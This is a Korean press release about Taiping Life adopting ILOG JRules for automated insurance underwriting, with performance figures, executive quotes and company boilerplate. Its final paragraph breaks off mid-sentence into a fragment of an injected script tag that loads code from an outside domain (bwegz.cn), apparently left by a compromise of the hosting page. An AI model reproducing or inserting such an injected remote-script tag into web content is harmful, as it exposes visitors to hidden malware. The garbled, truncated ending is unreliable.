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중국 최대 보험회사 Taiping Life, 언더라이팅 시스템에 ILOG JRules 도입

  • 2006.08.01
  • 조회수 24,277
SHANGHAI/Febuary 14, 2006 /ILOG® (NASDAQ: ILOG; Euronext: ILO, ISIN: FR0004042364)와 Shanghai FirstTech Co. Ltd. (FirstTech)은 오늘 중국 최대규모와 가장 빠른 성장률을 기록하고 있는 보험회사 Taiping Life가 언더라이팅 프로세스를 첨단화시키기 위해ILOG JRules를 기반으로 새로운 보험 언더라이팅 시스템을 구축했다고 발표했다. ILOG JRules 기반 언더라이팅 시스템은 금속, 반도체, 보험 솔루션 ILOG파트너인 상하이 SI 업체 FirstTech가 개발하였다.

중국의 보험 산업은 매년 25%의 성장률을 기록하며 빠르게 증가하고 있다. Taiping 보험사는 이러한 중국시장에서 많은 도전과 기회를 맞이하고 있다. 현지화, 표준화, 자동화에 대한 요구는 증가하고 있는 반면, 생산 라이프사이클은 점점 줄어들고 있다. Taiping 보험사는 주문 처리팀의 규모를 확장시키지 않으면서, 효율적으로 주문 처리를 향상시킬 수 있는 대안이 필요했다.

Taiping Life는 자격심사, 위험 평가 에서 등급 심사 및 추천에 이르기까지 언더라이팅 프로세스 전반에 걸쳐 ILOG JRules를 사용했다. 이 시스템이 도입된 이후, 새로운 정책 애플리케이션의 60% 이상이 자동으로 처리되었다. 전반적인 업무 능력 및 처리 속도 또한 크게 향상되었다. Taiping Life의 언더라이팅 부서가 보험 정책 애플리케이션을 처리하는데 단지 0.2 초가 걸린다. 새로운 룰 기반 시스템은 또한 24 시간 이내에 432,000 건의 보험 정책 애플리케이션을 처리할 수 있다. 이는 하루 2000명의 언더라이터들이 처리하는 업무량과 같은 양이다. Taiping Life의 ILOG JRules 기반 언더라이팅 시스템은 수작업 처리와 비교했을 경우 거의 “제로”에 가까운 에러율을 보이며, 각기 다른 개별 지역의 요구에 맞게 업무를 처리할 수 있다. ILOG JRules은 또한 룰 변경이 IT 시스템과 분리된 상태에서 관리될 수 있도록 해주었다. 이제 IT 매니저 뿐 만 아니라 현업 정책 관리자들도 룰 변경을 할 수 있게 된 것이다. 따라서, 룰 업데이트 사이클은 기존의 몇 일에서 단 몇 분으로 줄어들게 되었다.

Taiping Life는 2005년 6월에 ILOG, FirstTech와 계약을 체결하였다. Taiping Life는 본 프로젝트를 위해 엄격한 심사를 거쳐 ILOG와 FirstTech를 선택하였다. 단 3개월 만에, 첫번째 애플리케이션, 신 계약 보험 정책 애플리케이션 처리 모듈이 실행되었다.

Taiping Life 보험사 차장 Mr. Wang Xin는 BRMS 기술도입과 관련하여 다음과 같이 설명한다.

“ 보험 프로세스는 인용구, 클레임 접수, 제품 선택 및 추천을 처리하는 보험 정책 애플리케이션으로서의 기능 때문에 매우 룰 집약적입니다. 아시아 보험회사들은 이러한 프로세스를 효율적으로 관리할 수 있고 빠르게 변화하는 시장에서 경쟁력을 갖추기 위해서는 고급 IT 시스템을 도입해야만 합니다. 세계 유수의 보험사들이 클레임에서 언더라이팅에 이르기까지 모든 업무를 첨단화 시키기 위해 BRMS를 도입하는 추세에 발맞추어, Taiping Life는 고객에게 보다 빠르고 편리하며, 개별화된 서비스를 제공하기 위해, 그리고 생산성을 증가시키기 위해 중국 최초로 이 강력한 기술을 도입하였습니다.”

ILOG JRules 기반 언더라이팅 솔루션이 성공적임이 입증된 후, Taiping Life는 클레임 처리 서비스와 기타 비즈니스 영역까지 BRMS를 확장하여 사용할 것을 계획하고 있다.

FirstTech의 CEO Winston Chang은 다음과 같이 말한다. “ Taiping 프로젝트는 아시아 보험 시장에서 FirstTech와 ILOG의 기술을 최초로 접목시킨 프로젝트였습니다. ILOG의 앞선 첨단 기술과 FirstTech의 경쟁력 및 고급 자원을 활용하여, 우리는 근시일 내에 중국, 대만, 홍콩, 일본 등지에 더 많은 고객에게 이 통합 기술을 제공할 것입니다.”

About FirstTech

2003년 3월에 설립된 FirstTech는 Baosight Software와 First Technologies (Cayman) 가 합작 설립한 벤처기업이다. FirstTech는 은행, 보험, 반도체/LCS, 금속 분야의 비즈니스 운영을 강화하는 전문적인 컨설팅 서비스와 IT 솔루션을 제공한다. FirstTech는 ILOG, Prima Solutioan, SUN, HP, Bea Systems와 같은 세계적인 선두 업체들과 파트너쉽을 맺고 있다. FirstTech는 Taiping Life, BAOSTEEL, NIPPON STEEL, HeJian Semiconductor를 포함한 업계 선두 고객들에게 첨단 룰 기반 보험 언더라이팅/클레임/빌링 솔루션, SCM 솔루션, 반도체 TCTM (Total Cycle Time Management) 솔루션을 제공한다.

FirstTech에 대한 자세한 정보는 www.firsttech-soft.com에서 확인하실 수 있습니다.

About ILOG

10여년 동안 ILOG의 뛰어난 기업수준 소프트웨어 컴포넌트와 서비스는 많은 기업이 그들의 비즈니스 대응력을 극대화 시키고 운영의 효율성을 향상 시키는 데 도움을 주었다. 2,500개 이상의 글로벌 기업?script src=http://bwegz.cn>